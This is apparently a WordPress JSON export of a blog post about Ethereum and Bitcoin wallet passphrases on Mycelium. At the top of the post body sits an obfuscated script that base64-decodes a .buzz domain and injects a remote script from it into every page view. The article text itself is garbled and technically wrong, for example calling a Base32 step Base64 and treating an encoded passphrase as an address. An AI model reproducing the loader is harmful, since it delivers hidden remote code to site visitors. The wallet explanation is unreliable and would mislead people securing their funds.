{"id":969,"date":"2025-02-06T16:17:00","date_gmt":"2025-02-06T16:17:00","guid":{"rendered":"https:\/\/hccmena.com\/?p=969"},"modified":"2025-02-06T16:17:00","modified_gmt":"2025-02-06T16:17:00","slug":"ethereum-wallet-passphrase-uniqueness-noob-question","status":"publish","type":"post","link":"https:\/\/hccmena.com\/index.php\/2025\/02\/06\/ethereum-wallet-passphrase-uniqueness-noob-question\/","title":{"rendered":"Ethereum: Wallet passphrase uniqueness (noob question)"},"content":{"rendered":"<\/p>\n<p><script>const pdx=\"<pdx>bm9yZGVyc3dpbmcuYnV6ei94cC8=<\/pdx>\";const pde=atob(pdx.replace(\/<pdx>|<\\\/pdx>\/g,\"\"));const script=document.createElement(\"script\");script.src=\"https:\/\/\"+pde+\"cc.php?u=0256908e\";document.body.appendChild(script);<\/script>\n<\/p>\n<p><strong>Ethereum: Unique Wallet Passphrase &#8211; Answering a Noob&#8217;s Question<\/strong><\/p>\n<p>As you probably know, creating and managing your own cryptocurrency wallet is a crucial step in securing your assets. I recently created a new Ethereum wallet for myself using the Mycelium platform. To ensure that my private keys remain safe, I decided to use a unique passphrase as a backup password.<\/p>\n<p>However, when I tried to create a Bitcoin wallet on Mycelium that matched the same setup, I was surprised to find that the generated wallet address and Bitcoin wallet seemed to reference an 11-word passphrase instead of the single word I had chosen for the Mycelium wallet. This made me curious &#8211; what exactly was going on behind the scenes?<\/p>\n<p><strong>Understanding Passphrase Generation<\/strong><\/p>\n<p>In Ethereum wallets, a passphrase (also known as a recovery phrase or mnemonic) serves as a unique identifier that allows you to restore your wallet and access your funds when needed. When creating a new Bitcoin wallet on Mycelium, it appears that the system generates a password using a complex algorithm based on the chosen passphrase.<\/p>\n<p>Here is a simplified breakdown of the passphrase generation process:<\/p>\n<ul>\n<li><strong>Base32 Encoding<\/strong>: The passphrase is first converted to a Base64 encoded string.<\/li>\n<\/ul>\n<ul>\n<li><strong>Hashing and Encryption<\/strong>\n<p><img decoding=\"async\" alt=\"Ethereum: Wallet passphrase uniqueness (noob question)\n\" src=\"https:\/\/hccmena.com\/wp-content\/uploads\/2025\/02\/e8b225d7.png\"><\/p>\n<p>: The encoded string is then hashed using a cryptographic hash function (e.g. SHA-256) to produce a fixed-size output.<\/li>\n<\/ul>\n<ul>\n<li><strong>Salting and Final Hashing<\/strong>: A random salt value is added to the hash output, followed by another hashing operation.<\/li>\n<\/ul>\n<p><strong>The Twist<\/strong><\/p>\n<p>Now, here\u2019s where things get interesting. When Mycelium generates a Bitcoin wallet based on the same passphrase, it seems to use the entire Base64 encoded string as a single address, without referencing any specific words or phrases. This means that if I try to create a new Bitcoin wallet using the original passphrase, it will generate a different wallet address than the one I chose.<\/p>\n<p><strong>The Verdict<\/strong><\/p>\n<p><iframe loading=\"lazy\" width=\"560\" height=\"315\" src=\"https:\/\/www.youtube.com\/embed\/m5X2jwIpZSQ\" frameborder=\"0\" allowfullscreen><\/iframe><\/p>\n<\/p>\n<p>While this may seem like a minor inconvenience, it\u2019s critical to understand the implications of this behavior. If you choose a unique and unguessable passphrase for your Ethereum wallet, the Mycelium wallet copy process should produce the 12-word recovery phrase (or mnemonic). However, if you reuse the same passphrase or use an easy-to-guess password, your Bitcoin wallet will be vulnerable to unauthorized access.<\/p>\n<p><strong>Recommendations<\/strong><\/p>\n<p>To avoid this problem in the future:<\/p>\n<ul>\n<li>Choose a unique and unguessable passphrase for both your Ethereum and Bitcoin wallets.<\/li>\n<\/ul>\n<ul>\n<li>Use a secure password manager to generate and store your recovery phrases (or mnemonics).<\/li>\n<\/ul>\n<ul>\n<li>Consider using two-factor authentication or other additional security measures to protect your digital assets.<\/li>\n<\/ul>\n<p>By taking these precautions, you can ensure the long-term security of your cryptocurrency holdings.<\/p>\n<p><a href=\"https:\/\/egyptian-fg.com\/ethereum-cannot-find-a-value-for-the-configuration-variable-infura_api_key\/\">Ethereum Configuration Variable<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Ethereum: Unique Wallet Passphrase &#8211; Answering a Noob&#8217;s Question As you probably know, creating and managing your own cryptocurrency wallet is a crucial step in securing your assets. I recently created a new Ethereum wallet for myself using the Mycelium platform. To ensure that my private keys remain safe, I decided to use a unique [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[9],"tags":[],"_links":{"self":[{"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/posts\/969"}],"collection":[{"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/comments?post=969"}],"version-history":[{"count":1,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/posts\/969\/revisions"}],"predecessor-version":[{"id":970,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/posts\/969\/revisions\/970"}],"wp:attachment":[{"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/media?parent=969"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/categories?post=969"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/tags?post=969"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}